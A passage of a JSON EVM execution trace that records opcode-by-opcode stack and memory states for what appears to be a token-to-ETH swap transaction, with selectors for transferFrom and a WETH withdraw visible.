00000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3197,"op":"MUL","gas":18969,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3198,"op":"PUSH1","gas":18964,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3200,"op":"ADD","gas":18961,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3201,"op":"ADD","gas":18958,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3202,"op":"MLOAD","gas":18955,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x140"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3203,"op":"PUSH1","gas":18952,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3205,"op":"MLOAD","gas":18949,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3206,"op":"DUP3","gas":18946,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3207,"op":"PUSH4","gas":18943,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a4","0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3212,"op":"AND","gas":18940,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a4","0x2e1a7d4d","0xffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3213,"op":"PUSH1","gas":18937,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a4","0x2e1a7d4d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3215,"op":"SHL","gas":18934,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a4","0x2e1a7d4d","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3216,"op":"DUP2","gas":18931,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x136dbf40ac09b","0x3a4","0x2e1a7d4d00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116